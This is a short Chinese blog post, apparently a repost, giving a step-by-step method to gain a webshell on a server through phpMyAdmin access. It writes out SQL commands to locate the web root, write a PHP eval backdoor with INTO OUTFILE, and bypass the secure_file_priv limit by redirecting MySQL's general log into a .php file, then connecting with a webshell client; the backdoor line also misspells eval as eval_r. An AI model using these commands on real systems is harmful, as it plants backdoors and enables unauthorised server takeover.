网站后台getshell

phpmyadmin后台Getshell

获取 web 绝对路径

select @@basedir;

检测是否有写入权限

show global variables like 'secure%' ##查看secure_file_priv值,结果若为NULL,则不能使用loadfile,into outfile进行读写文件

写入webshell

secure_file_priv为空

select '<?php @eval_r($_POST[cmd])?>'INTO OUTFILE 'D:\\soft\\phpStudy\\www\\eval.php'

secure_file_priv为路径

  • 值为路径时,只能webshell写入此路径
  • 值为null时,不能写入webshell

突破 secure_file_priv限制

mysql中有两个全局变量是我们getshell需要用到的重要变量:
general_log
general_log_file

general_log 是mysql中记录sql操作的日志,所有的查询语句会记录在一个日志文件中,但因为时间长了会导致日志文件非常大,所以默认为关闭,有时候在管理员需要进行排错时才会暂时性的打开这个变量
show variables like 'general_log%';

首先打开操作日志记录

set global general_log = 'ON';

设置操作记录日志路径

set global general_log_file='D:\\phpstudy\\PHPTutorial\\WWW\\e.php'

执行sql语句,将webshell执行的语句内容记录到文件中,就可以getshell了

select '<?php phpinfo();?>'

然后用菜刀访问e.php就行了

扫描二维码关注公众号,回复: 7727849 查看本文章

 

猜你喜欢

转载自www.cnblogs.com/littlemood/p/11785009.html